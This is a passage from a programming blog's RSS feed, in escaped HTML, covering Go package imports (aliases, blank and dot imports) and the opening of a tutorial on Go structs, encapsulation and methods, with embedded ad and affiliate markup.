of the &lt;em&gt;go.mod&lt;/em&gt; file when a version is specified to it via the command line.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go install sigs.k8s.io/kind@v0.9.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go install will generally be used to install commands which we&amp;rsquo;ll be available for us to use.&lt;/p&gt;&#xA;&lt;h3 id=&#34;import-remote-packages-in-go&#34;&gt;Import remote packages in go&lt;/h3&gt;&#xA;&lt;p&gt;Packages found in code repositories, such as GitHub, GitLab or BitBucket, require that we specify the full path to the repository as their import path.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; mod init github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;import-packages-without-using-them&#34;&gt;Import packages without using them&lt;/h2&gt;&#xA;&lt;p&gt;There are times when we may want to import packages and not use them. For this, just add an underscore before the import.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  _ &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;define-an-aliases-when-importing-packages-in-go&#34;&gt;Define an aliases when importing packages in Go&lt;/h2&gt;&#xA;&lt;p&gt;Go also allows us to declare an alias when importing a package by prefixing the alias to the import path.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ourAlias &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;route/to/package&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That way we can treat our alias as if it were the name of the package we are importing.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ourAlias &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mypackage/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ... our alias replaces videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; vd = ourAlias.Videogame{Id: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;imports-with-dot-in-go&#34;&gt;Imports with dot in Go&lt;/h3&gt;&#xA;&lt;p&gt;Go allows direct access to the contents of the package if we import using a dot as alias. In this way we can ignore the package name and directly access the objects it contains.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; . &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mypackage/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ... we can replace videogame.Videogame by Videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; vd = Videogame{Id: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-resources&#34;&gt;Other resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://awesome-go.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Libraries to speed-up development&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.digitalocean.com/community/tutorials/understanding-the-gopath-es/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sobre la variable $GOPATH y su configuración&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://scene-si.org/2018/01/25/go-tips-and-tricks-almost-everything-about-imports/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sobre imports (en inglés)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In go &lt;strong&gt;you can consider a package as all the files contained in a directory and a module as a collection of packages&lt;/strong&gt;. To use the code of a package we need to import it, however, in Go there are no relative module imports. Before Go 1.8, to import packages (there were no modules) it was necessary to use the absolute path, considering as base the path pointed to by the environment variable $&lt;em&gt;GOPATH&lt;/em&gt; or. Since Go 1.11, the easiest way to work with packages is to use go mod. I will explain the latter.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: Structs, inheritance, polymorphism and encapsulation</title>
      <link>https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/</link>
      <pubDate>Tue, 04 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;As I already mentioned to you in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;introduction to Golang or Go programming language&lt;/a&gt;&#xA;, this language does not have a reserved word for dealing with classes, it still mimicks some behavior, we&amp;rsquo;re going to see how to handle golang inheritance, golang polymorphism and of course encapsulation.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-are-structs-in-go&#34;&gt;What are Structs in Go?&lt;/h2&gt;&#xA;&lt;p&gt;A &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/tour/moretypes/2&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;struct in go&lt;/a&gt;&#xA; is a collection of fields. They are defined with the keyword &lt;em&gt;type&lt;/em&gt; followed by the name to assign and the word &lt;em&gt;struct&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;creating-instances-of-a-struct-in-go&#34;&gt;Creating instances of a struct in go&lt;/h3&gt;&#xA;&lt;p&gt;Once the structure of our struct is defined, we can create instances of it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; myVideogame = Videogame{Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;, Year: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// The code below is valid only inside a function&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Videogame{Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;, Year: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is also possible to create an instance by declaring the data type and then assigning a value to the fields.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; myVideogame Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame.Title = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we do not specify a value, the respective zero value will be assigned to the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go variable type&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Nier 0}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;anonymous-fields-in-go-structs&#34;&gt;Anonymous fields in Go structs&lt;/h2&gt;&#xA;&lt;p&gt;In go, &lt;strong&gt;it is possible not to declare the name of the field of our struct and to place only the data type&lt;/strong&gt;. Done this way, the fields will adopt the name of the data type and we can access them using them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Videogame{&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Print {Title 2017}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What if we want a struct with many fields of the same type? Well, obviously &lt;strong&gt;this feature will not work if we have multiple fields of the same type in our struct&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;privacy-and-encapsulation-of-structs&#34;&gt;Privacy and encapsulation of structs&lt;/h2&gt;&#xA;&lt;p&gt;To mark a struct, function or variable as private or public, as well as their respective fields for the struct, &lt;strong&gt;it is sufficient to declare the first letter of the field with upper or lower case&lt;/strong&gt;, for public and private, respectively.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744692459/coffee-bytes/golang-encapsulation_brfvjo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744692459/coffee-bytes/golang-encapsulation_brfvjo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Go&amp;#39;s privacy rules diagram&#34; width=&#34;1948&#34; height=&#34;447&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Personally, I think this sucks, it is one of the most convuluted aspects of this language, why? because when you need to look for a private field, you would probably need to use regex, instead of just searching by the word &lt;em&gt;private&lt;/em&gt;, yes, I know it sucks, but let&amp;rsquo;s bear with it for now.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; MyData &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// public&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    account &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// private&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Having said that, &lt;strong&gt;accessing a private entity from another module, unrelated to where it is declared&lt;/strong&gt;, will be impossible. Whereas public entities are accessible from any module, even if the struct is not declared there.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;capitalized, public, accessible inside and outside the package where it is declared.&lt;/li&gt;&#xA;&lt;li&gt;lowercase, private, only accessible inside the package where it is declared.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Videogame struct representing a videogame entity&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;composition-and-structs-in-go&#34;&gt;Composition and structs in go&lt;/h2&gt;&#xA;&lt;p&gt;We can group functionalities that involve our structs by declaring functions that access them.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Feel free to think of them as methods in a class.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-access-a-struct-in-a-method-function-in-go&#34;&gt;How to access a struct in a method function in Go?&lt;/h3&gt;&#xA;&lt;p&gt;To access struct instances in functions we need to place a pair of parenthesis between the keyword &lt;em&gt;func&lt;/em&gt; and the function name. These parentheses contain the name we will use to access the struct instance, followed by the destructuring character and finally the struct name.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744691812/coffee-bytes/struct-inheritance-golang_geyh9o.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744691812/coffee-bytes/struct-inheritance-golang_geyh9o.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composition in go diagram&#34; width=&#34;1830&#34; height=&#34;560&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;PrintYear&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myStructVariable.Year)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the function, the struct fields will be available using pointers, we pass it inside the parenthesis with the destructuring character.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 